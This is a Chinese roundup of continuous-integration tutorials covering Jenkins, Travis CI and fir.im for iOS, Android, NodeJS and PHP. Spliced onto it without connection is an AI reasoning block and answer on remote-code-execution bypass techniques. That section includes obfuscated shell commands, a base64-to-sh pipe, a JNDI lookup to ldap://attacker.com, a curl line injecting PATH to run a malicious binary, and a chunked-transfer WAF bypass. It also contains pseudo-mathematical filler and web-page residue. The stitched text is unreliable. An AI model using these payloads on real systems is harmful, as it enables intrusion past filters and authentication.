「 持续集成 」实践教程合集

转载自:http://blog.fir.im/fir_im_weekly160505/

我们常看到许多团队和开发者分享他们的持续集成实践经验,本期 fir.im Weekly 收集了 iOS,Android,PHP ,NodeJS 等项目搭建持续集成的实践,以及一些国内外公司的内部持续集成系统的经验,供大家集中研究,参考借鉴。

先来看看国内外一些公司的实践经验:

Continuous Deployment at Instagram

Instagram 的开发团队每天保持着 30 - 50 次后端代码部署,几乎全程无人参与,完全自动化。这听起来很疯狂,但一切确实在这样运转。来这里看看 Instagram 的工程师Twitter@mgorven 如何进行持续集成与持续部署。

Etsy’s Journey to Continuous Integration for Mobile Apps

Etsy的工程师 Nassim Kammah 在 2014 年欧洲 Velocity 大会上分享了 Etsy 实现 iOS 应用持续集成的经验。

中文翻译版:Etsy如何实现移动应用的持续集成

英文原文:Etsy’s Journey to Continuous Integration for Mobile Apps

豆瓣移动 App 持续集成和测试实践

来自豆瓣测试工程师杨蓉的分享。

主要介绍了豆瓣移动 App 持续集成和测试相关实践,用工具化+自动化+社会化测试来解决遇到的问题,将打包发布环节自动化。分享内容见这里

沪江无线持续集成的解决方案

沪江无线有多款无线应用,面临很多质量问题,比如线上奔溃率高,开发提测质量差,测试回归耗费时间长等问题。为此,沪江网测试团队搭建了一套持续集成的质量保障体系。

主要通过 Jenkins 新建一个 job 去拉取 Gitlab 中的源代码进行编译打包,然后启动 apk 扫描、自动化和专项测试,最后呈现测试结果。详细见链接:传送门.


『 iOS 持续集成实践 』

Jenkins+GitHub+Xcode+fir搭了一个持续集成环境

@宣X_x用 Jenkins + GitHub + Xcode + fir 搭了一个持续集成环境,并慷慨分享了整个过程,非常详细。

文章传送门

iOS 搭建 CI 持续集成环境

@大慈大悲大熊猫写的这篇文章总结了自己在 iOS 下的自动化打包,搭建可持续集成环境的实践过程,选择方案是 Jenkins+ Gitlab/Github+Xcode+Fir。

全文浏览,点击这里.

iOS 项目的持续集成与管理

Matt Oakes@Medium的 这篇文章 从 Jenkins 基础配置、单元测试、Pull Request测试、代码覆盖率、静态分析等等角度记录持续集成的搭建过程,最后通过fastlane进行自动部署,将整个 app store 的提交过程完全自动化。

原文链接 : Continuous Integration & Deployment for iOS Projects

原文作者 : Matt Oakes

译文出自 : 开发技术前线 www.devtf.cn

译者 : Sam Lau


『 Android 持续集成实践 』

基于 Travis CI 搭建 Android 持续集成以及自动打包发布流程

感谢@Allo的分享。

基于 Travis CI + fir.im CLI 搭建 Android 自动打包发布工作流,是非常棒的持续集成实践示范!Android 开发者想实现自动化发布,简化工作流程,可以来看看这篇文章.

Jenkin + Git + Gradle 为 Android 项目搭建 CI 环境

简书作者cyning 在这篇实践文章中说道: "上家公司用着很前卫的技术:Android Studio 、Gradle 、Git 、Material 等,也搭建了一个 Jenkins 的 CI 环境,每次只需要提交代码,CI 会从 GitLab 上拉最新的代码,自动打包,同时推到我们内部的下载/发布页面上。而我们内部的员工在下载页面上下载最新的安转文件,用起来很爽啊。"详细过程可以看这里

使用 DaoCloud 与 FIR.im 为 CodingAndroid 项目开启持续集成的尝试

@痕迹BLANK 把持续集成环境搭建在 DaoCloud 上,通过几步就可以实现 CodingAndroid 项目自动提交,自动编译发布测试包到 fir.im.这是一套很新鲜的玩法,感兴趣地可以尝试一下,文章地址☞http://www.jianshu.com/p/a6ebb0e0c5ae .

基于 Travis CI 搭建 Android 持续集成以及自动打包发布流程

简书作者Archmage 分享了自己使用 Travic CI + Github + firCLI 搭建持续集成的经验: “Tag 提交后,Travis CI 会自动编译代码,生成 apk 文件,并发到 Github 和相应地其他渠道,分发完成后,会邮件通知参与测试的人员。如此一来,作为码农,只要安心 Coding 和打 Tag 就好了,轻松愉快啊。”

全部流程一气呵成,值得借鉴。 文章传送门.


『 NodeJS 、PHP持续集成实践 』

Jenkins + Github + Node.js 实现持续集成 - 魅族科技开发团队

魅族科技开发团队工程师@吴彦欣分享到:

“由于最近团队代码库从 coding 迁移到 github,在 CI 工具的选型上尝试了 travis-ci 和circle-ci, 最后决定用 Jenkins 自己搭建CI服务器。”

全文浏览,点击这里.

PHP 开源项目使用 Travis CI 进行持续集成

@Allo写道: “目前使用最广泛的免费 CI 工具当数Travis CI,以我的项目 EvaThumber 为例,介绍一下如何在PHP开源项目中配合Travis CI进行持续集成 ”

作为世界上最好的语言 PHP,如何与 Travis CI 进行持续集成:D

在已有项目上构建持续集成平台

简书作者慕斯成总结了几个开源持续集成工具构建持续集成的经验,分为java篇ios篇android篇,适合项目中涉及ios、android、java三种环境,来这里学习一下。


<think>嗯,用户想了解RCE漏洞绕过的方法和关键技术点。首先,我需要回忆一下RCE的基本概念。RCE是远程代码执行,攻击者能够在目标系统上执行任意代码,危害极大。用户提到的绕过可能是指绕过现有的防御措施,比如WAF、输入过滤或者沙箱环境。 首先,我得考虑常见的绕过技术。比如,命令注入中的特殊字符绕过,像分号、管道符、反引号这些。有时候,黑名单过滤不完善,可以用编码或替换字符的方式绕过。比如,用十六进制编码或者Base64编码命令,然后解码执行。 然后,用户提供的引用里有提到CVE-2024-0012,是关于身份认证绕过导致RCE的案例。这可能涉及权限提升或认证机制中的漏洞,比如利用会话管理的问题或者Cookie篡改。另外,引用3提到Log4j漏洞,涉及JNDI注入,这类漏洞利用特定的协议或服务来触发,绕过检测可能需要混淆payload,比如使用非常规的协议格式或拆分攻击字符串。 还需要考虑上下文,比如输入验证的漏洞。如果应用对用户输入处理不当,未正确转义或过滤,攻击者可能通过构造特殊输入注入恶意代码。例如,在SQL注入中,使用注释符或大小写混合绕过,类似的方法可能适用于RCE绕过。 另外,环境变量注入也是一种可能。比如,通过控制环境变量参数来执行命令,某些程序可能会信任特定的环境变量,从而导致代码执行。还有,利用动态代码执行函数,如PHP的eval,Python的exec,如果用户输入直接传递给这些函数,没有严格过滤,就会导致RCE。 还有,框架或库的漏洞,比如旧版本的库存在已知漏洞,攻击者可以利用这些未修补的漏洞执行代码。例如,Apache Struts的漏洞曾被广泛利用。 现在要结合用户提供的引用,引用1提到代码审计和静态分析,所以在绕过时可能需要找到代码审计中的疏漏,比如未覆盖的边缘情况。引用2中的认证绕过导致RCE,说明权限提升或绕过认证步骤是关键。引用3中的Log4j漏洞检测被WAF拦截,所以绕过WAF可能需要混淆技术。 总结下来,RCE绕过的方法可能包括:命令注入绕过过滤、利用编码或混淆、认证/授权绕过、框架漏洞利用、上下文敏感攻击(如模板注入)、以及利用信任机制漏洞。 需要确保回答结构清晰,分点说明,每个技术点给出例子,并引用提供的资料。比如,在认证绕过部分引用CVE-2024-0012的例子,在Log4j部分提到引用3的检测方法。 还要注意用户要求使用中文,LaTeX格式的数学表达式,但这个问题可能不太涉及数学公式,所以可能不需要太多数学内容。但如果有涉及变量或代码部分,需要用行内格式,比如$command$。 最后生成相关问题,要围绕RCE绕过的扩展,比如防御措施、特定漏洞分析、检测技术等。</think>### RCE漏洞绕过方法及关键技术点分析 #### 一、常见RCE漏洞绕过方法 1. **命令注入绕过** - **特殊字符替换**:利用黑名单未覆盖的符号(如`$()`、`%0a`、反引号)拼接命令,例如: ```bash # 原始命令:cat /etc/passwd # 绕过形式:c'a't /et$@c/pass''wd ``` - **编码转换**:使用Base64、十六进制或URL编码混淆命令,例如: ```bash echo "bHM=" | base64 -d | sh # 解码后执行"ls" ``` 2. **输入过滤绕过** - **多级嵌套解析**:利用应用层协议(如HTTP参数污染、JSON/XML解析差异)注入恶意代码[^3]。 - **上下文敏感攻击**:在模板注入(SSTI)中,通过构造`${"".getClass().forName("...")}`绕过沙箱限制。 3. **认证/授权绕过** - **会话伪造**:通过Cookie篡改或JWT令牌伪造绕过身份验证(如CVE-2024-0012中的Web界面认证绕过)[^2]。 - **路径遍历**:利用未校验的路径参数访问敏感接口,例如`/admin/../api/exec?cmd=id`。 4. **框架/库漏洞利用** - **动态加载漏洞**:如Log4j的JNDI注入(`${jndi:ldap://attacker.com/exp}`),通过DNS查询混淆绕过WAF检测。 - **反序列化漏洞**:利用Java/Python的反序列化机制触发恶意代码,例如Apache Commons Collections的Gadget链。 #### 二、关键技术点 1. **漏洞链组合** 通过多个漏洞串联实现绕过,例如: - 先绕过认证(CVE-2024-0012)→ 再利用权限提升漏洞(CVE-2024-9474)→ 最终执行任意命令[^2]。 $$ \text{RCE} = \text{认证绕过} \oplus \text{权限提升} \oplus \text{命令执行} $$ 2. **环境依赖利用** 利用目标系统环境变量或依赖库的缺陷,例如: ```bash # 注入环境变量实现命令执行 curl http://target.com/api?input=;export PATH=/tmp:$PATH;malicious-bin ``` 3. **混淆与逃逸技术** - **WAF绕过**:通过分块传输、注释插入或Unicode编码绕过正则匹配,例如: ```http POST /api HTTP/1.1 Transfer-Encoding: chunked 3; x=x\r\ncmd\r\n0\r\n\r\n ``` - **代码混淆**:在PHP中使用`${_GET['a']}`动态调用函数,避免直接出现敏感关键词。 #### 三、防御建议 1. **输入严格校验**:使用白名单机制限制字符集,例如仅允许`[a-zA-Z0-9_]`。 2. **沙箱隔离**:对动态代码执行操作进行资源隔离(如Docker容器)。 3. **依赖库更新**:定期升级框架/库版本(如Log4j升级到2.17.0+)。 4. **纵深防御**:结合WAF、RASP(运行时应用自保护)和代码审计[^1]。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值